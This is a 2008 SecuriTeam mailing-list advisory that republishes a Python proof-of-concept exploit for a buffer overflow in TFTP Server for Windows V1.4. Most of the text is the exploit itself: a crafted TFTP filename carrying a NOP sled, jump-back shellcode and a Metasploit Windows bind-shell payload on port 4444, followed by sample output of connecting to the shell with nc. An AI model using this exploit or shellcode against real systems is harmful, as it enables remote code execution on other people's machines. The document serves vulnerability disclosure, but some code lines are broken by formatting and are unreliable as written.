

[EXPL] TFTP Server for Windows Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00074.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 31 Mar 2008 13:26:34 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

TFTP Server for Windows Buffer Overflow (Exploit)

SUMMARY

Multithreaded <<http://sourceforge.net/projects/tftp-server/>> TFTP Server for "PXEBOOT, Router image load, supports tsize, blksize, Interval and Server Port Ranges, Block Number Rollover for Large Files. Can be installed as Service/daemon. Single Port version also available. Freeware Software Download". A buffer overflow vulnerability has been discovered in the TFTP Server for Windows, this vulnerability allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Exploit:
#!/usr/bin/python
TFTP Server for Windows V1.4 ST (0day)
<http://sourceforge.net/projects/tftp-server/>
Tested on Windows Vista SP0.
Coded by Mati Aharoni
muts..at..offensive-security.com
<http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt>
#####

[EXPL] TFTP Server for Windows Buffer Overflow (Exploit)

```
# bt ~ # sourceforge-tftpd.py
# [*] TFTP Server for Windows V1.4 ST (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.134 4444
# (UNKNOWN) [172.16.167.134] 4444 (krb524) open
# Microsoft Windows [Version 6.0.6000]
# Copyright (c) 2006 Microsoft Corporation. All
# rights reserved.
#
# C:\Windows\system32>
#####
```

```
import socket
import sys
```

```
print "[*] TFTP Server for Windows V1.4 ST (0day)"
print "[*] http://www.offensive-security.com
```

```
host = '172.16.167.134'
port = 69
```

```
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
```

```
# Jump back shellcode
sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c"
sc += "\x30\x83\xeb\xfc\xe2\x4f\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b"
sc += "\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30"
```

```
# windows/shell bind tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=seh, LPORT=4444
```

```
shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
```

[EXPL] TFTP Server for Windows Buffer Overflow (Exploit)

"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xc0\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6"
"\xff\xd0")

filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" +
"\x2b\x0e\x41"

mode = "netascii"

muha = "\x00\x02" + filename + "\0" + mode + "\0"

print "[*] Sending evil packet, ph33r"
s.sendto(muha, (host, port))
print "[*] Check port 4444 for bindshell"

milw0rm.com [2008-03-26]

ADDITIONAL INFORMATION

The information has been provided by <mailto:muts@xxxxxxxxxxxxxxxxxxxxxxxx>
Mati Aharoni.
The original article can be found at:
<http://www.milw0rm.com/exploits/5314>
http://www.milw0rm.com/exploits/5314

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.